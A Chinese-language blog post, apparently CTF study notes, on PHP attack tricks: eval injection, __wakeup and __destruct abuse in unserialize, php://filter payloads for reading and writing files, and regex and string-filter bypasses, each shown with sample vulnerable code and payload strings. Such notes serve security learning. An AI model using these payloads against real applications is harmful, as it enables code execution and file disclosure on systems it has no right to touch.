eval

  1. eval("")传入的东西将会被认作php代码来执行,结尾必须有分号否则报错,如果有多行只会执行第一行
  2. eval("#".$payload);这样的payload,可以通过 ?><?php 绕过,由于第一条,所以不能用类似于nxxxxx来绕过。

__wakeup

如果 __wakeup函数中有着你不想让它触发的代码,且php版本在 PHP5 < 5.6.25 或 PHP7 < 7.0.10 就可以通过unserialize中传入的参数个数和实际的个数不匹配来绕过__wakeup函数的执行。

__destruct

这个函数会在php回收对象的时候调用,有几种情况

  1. PHP 代码执行完毕
  2. 直接new A();,对象直接会被销毁(没有变量存)。
  3. $a = new A(); $a = 114514; 覆盖掉new的类也会被销毁。
  4. unset($a); 手动删除对象
  5. 反序列化错误,比如
<?php
highlight_file(__FILE__);
class foo {
    public function __destruct()
    {
        echo "flag{114514}";
    }
}
$a = unserialize($_GET['input']);
throw new Exception('st0p');

由于有Exception,类不会被在执行完毕的时候被销毁,所以第一条直接失效了。
我们正常序列化这个类,结果是O:3:"foo":0:{}
我们稍微改造一下这个,把他弄成错误的,比如O:3:"foo":0:{
由于反序列化从左到右,所以他已经把foo类创建了,但是报错会让它被销毁,这样就利用成功。

当然,也可以使用第三条来利用:
2024-07-10T08:22:34.png

file_put_contents / file_get_contents

这个函数可以传入PHP伪协议,详情请见另一篇文章,下面给出一些快速使用例子。
b64读:php://filter/read=convert.base64-encode/resource=flag.php
b64写:php://filter/write=convert.base64-encode/resource=flag.php

  • b64写可以绕死亡之exit();

preg_match

preg_match('/^O:d+/', $s) 的绕过

这个match会防止你传入一个反序列化的对象,如下题:

<?php
class A
{
    public function __wakeup()
    {
        echo "flag{114514}";
    }
}
$s = $_get['ans'];
if(!preg_match('/^O:\d+/', $s))
{
    echo "unserializing...</br>";
    unserialize($s);
}

这时,我们如果直接传O:1:"A":0:{}这样的对象,会被直接正则匹配从而失败。
但是我们如果传a:1:{i:0;O:1:"A":0:{}}就可以绕过,a是一个array,有一个元素,其中第0个元素就是我们的这个对象,这样对于array的unserialize,里面的所有对象都会被unserialize,这样我们也达到了目的。生成方法:echo serialize(array(new A));
当然,对于低版本的php,我们直接传入O:+1:"A":0:{},(注意+要被urlencode)也可以绕过正则匹配。而array法绕过对于较高版本php可行。

严格等于(===)的绕过

地址相同的反序列化

如题

<?php
class A{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = 'aaa';
    }

    public function __destruct()
    {
        if($this->a === $this->b && $this->b === 'aaa')
        {
            echo "flag{114514}";
        }
        else {
            die('b must be aaa!!!');
        }
    }
}

if(isset($_REQUEST['input']))
{
    if(preg_match('/aaa/', $_REQUEST['input']))
    {
        die('no!!');
    }
    unserialize($_REQUEST['input']);
}
else {
    highlight_file(__FILE__);
}

分析一下代码,$b必须是aaa,但是我序列化的时候不能把他直接设置为aaa,所以:
我们采用php的引用法,把b设置为对的引用就行了。

<?php
class A{
    public $a;
    public $b;
    public function __construct()
    {
        $this->b = &$this->a;
    }
}
echo urlencode(@serialize(new A));

这样在__wakeup的时候,$a被设置为了aaa,但是b是a的引用,所以b也自动变成了aaa,就可以绕过

字符串检测绕过

hex绕过

手动更改序列化中的s(字符串)为S(需要转义的字符串),然后修改后面需要绕过的字符串即可。
值得注意的是,\必须被URLencode才能传上去。
2024-07-10T09:25:22.png

标签: none

评论已关闭